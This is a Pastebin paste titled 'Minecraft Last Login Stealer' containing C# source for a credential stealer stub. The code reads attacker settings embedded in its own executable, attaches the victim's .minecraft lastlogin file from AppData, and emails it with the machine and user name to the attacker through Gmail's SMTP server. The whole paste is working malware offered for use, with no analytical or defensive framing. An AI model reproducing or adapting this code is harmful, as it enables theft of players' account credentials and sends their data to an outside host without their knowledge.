Advertisement
Guest User

Minecraft Last Login Stealer

a guest
Oct 5th, 2011
1,912
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
  2. this.text1 = Strings.Space((int) FileSystem.LOF(1));
  3. this.text2 = Strings.Space((int) FileSystem.LOF(1));
  4. FileSystem.FileGet(1, ref this.text1, -1L, false);
  5. FileSystem.FileGet(1, ref this.text2, -1L, false);
  6. FileSystem.FileClose(new int[] { 1 });
  7. this.options = Strings.Split(this.text1, "@stealer@", -1, CompareMethod.Binary);
  8. this.TextBox2.Text = this.options[1];
  9. this.TextBox3.Text = this.options[2];
  10. MailMessage message = new MailMessage {
  11. Subject = "You got a new login from: " + Environment.MachineName + " : " + Environment.UserName
  12. };
  13. message.To.Add(this.TextBox2.Text);
  14. Attachment item = new Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\.minecraft\lastlogin");
  15. message.Attachments.Add(item);
  16. message.From = new MailAddress(this.TextBox2.Text);
  17. message.Body = "Here you go, a new minecraft login!";
  18. new SmtpClient("smtp.gmail.com") { EnableSsl = true, Credentials = new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text), Port = Conversions.ToInteger("587") }.Send(message);
  19.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement